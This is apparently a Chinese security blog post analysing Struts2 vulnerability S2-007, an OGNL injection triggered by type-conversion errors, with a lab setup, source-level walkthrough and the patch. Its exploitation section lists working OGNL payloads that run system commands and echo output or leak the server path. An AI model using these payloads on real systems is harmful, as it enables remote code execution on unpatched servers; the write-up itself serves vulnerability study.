前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

S2-006 跳过了,因为它的描述太简陋了,无法复现出漏洞环境,以后有空或许会从源码层面再看一看。


环境搭建

2.2.1 版本 struts2 + tomcat9,给 Action 加上一个 int 类型的成员,修改传值的表单,再添加一个 input 的 result。

漏洞利用

在定义为 int 的成员对应的输入框处输入 OGNL 表达式:

'+(#application)+'

可以看到打印出了很多运行和配置的信息,贴几个借的执行命令和回显的表达式,也可以借鉴前面的 S2-003/S2-005 的 payload,这里贴几个借的 payload:

# 弹计算器
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

# 获取绝对路径
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

# 执行系统命令并回显
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

漏洞分析

根据漏洞公告,漏洞场景是在发生类型转换时,会将用户输入当作 OGNL 表达式来执行,比如上面漏洞利用中使用的字符串就无法转换为需要的 int 类型而导致错误。详细的漏洞报告里面说漏洞发生在 ConversionErrorInterceptor 类和 RepopulateConversionErrorFieldValidatorSupport 类中,在实际调试中,漏洞发生在 ConversionErrorInterceptor 类的 intercept 方法中:

@Override
public String intercept(ActionInvocation invocation) throws Exception {

    ActionContext invocationContext = invocation.getInvocationContext();
    Map<String, Object> conversionErrors = invocationContext.getConversionErrors();
    ValueStack stack = invocationContext.getValueStack();

    HashMap<Object, Object> fakie = null;

    for (Map.Entry<String, Object> entry : conversionErrors.entrySet()) {
        String propertyName = entry.getKey();
        Object value = entry.getValue();

        if (shouldAddError(propertyName, value)) {
            String message = XWorkConverter.getConversionErrorMessage(propertyName, stack);

            Object action = invocation.getAction();
            if (action instanceof ValidationAware) {
                ValidationAware va = (ValidationAware) action;
                va.addFieldError(propertyName, message);
            }

            if (fakie == null) {
                fakie = new HashMap<Object, Object>();
            }

            fakie.put(propertyName, getOverrideExpr(invocation, value));
        }
    }

    if (fakie != null) {
        // if there were some errors, put the original (fake) values in place right before the result
        stack.getContext().put(ORIGINAL_PROPERTY_OVERRIDE, fakie);
        invocation.addPreResultListener(new PreResultListener() {
            public void beforeResult(ActionInvocation invocation, String resultCode) {
                Map<Object, Object> fakie = (Map<Object, Object>) invocation.getInvocationContext().get(ORIGINAL_PROPERTY_OVERRIDE);

                if (fakie != null) {
                    invocation.getStack().setExprOverrides(fakie);
                }
            }
        });
    }
    return invocation.invoke();
}

如果发生了类型转换错误,哈希表 conversionErrors 中就会保存转换前的用户输入,即表示名的 propertyName 和变量值的 value,然后会执行:

shouldAddError(propertyName, value)

来判断是否添加这个错误,而:

protected boolean shouldAddError(String propertyName, Object value) {
    return true;
}

这个函数的返回值用为 true,所以会执行:

fakie.put(propertyName, getOverrideExpr(invocation, value));

将他们放入一个新的哈希表 fakie 中,而 getOverrideExpr 是一个拼接字符串的操作:

protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
    return "'" + value + "'";
}

给输入拼上了前后两个单引号,所以漏洞利用时要进行闭合。

最后添加一个 PreResult 监听器(看名字是在渲染 Action 的 result 之前触发),并将 fakie 保存起来:

invocation.getStack().setExprOverrides(fakie);

接下来找找什么时候会用到,先看看 setExprOverrides 的处理:

public void setExprOverrides(Map<Object, Object> overrides) {
    if (this.overrides == null) {
        this.overrides = overrides;
    } else {
        this.overrides.putAll(overrides);
    }
}

看名字 overrides,推测这个错误信息应该是用在渲染模板时的,因为类型转换失败,所以调用成员的 setter 必然是失败的,而渲染模板可能还需要这个成员,所以将原始输入保存起来,渲染模板时可以以成员名作为键访问。

根据变量名 overrides 找到 lookupForOverrides 方法:

private String lookupForOverrides(String expr) {
    if ((overrides != null) && overrides.containsKey(expr)) {
        expr = (String) overrides.get(expr);
    }
    return expr;
}

然后断点,找到将其作为表达式执行的 tryFindValue 方法:

private Object tryFindValue(String expr, Class asType) throws OgnlException {
    Object value = null;
    try {
        expr = lookupForOverrides(expr);
        value = getValue(expr, asType);
        if (value == null) {
            value = findInContext(expr);
        }
    } finally {
        context.remove(THROW_EXCEPTION_ON_FAILURE);
    }
    return value;
}

可以看到将找到的原始输入当作表达式又执行了一遍,触发了漏洞。

漏洞修复

拼接单引号的时候加了点料:

protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
    return escape(value);
}

protected String escape(Object value) {
    return "\"" + StringEscapeUtils.escapeJava(String.valueOf(value)) + "\"";
}

做了过滤,具体的可以看 StringEscapeUtils 类的 escapeJavaStyleString 方法。


参考文章:

https://xz.aliyun.com/t/7971


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-008
struts2系列漏洞 S2-004/ClassLoader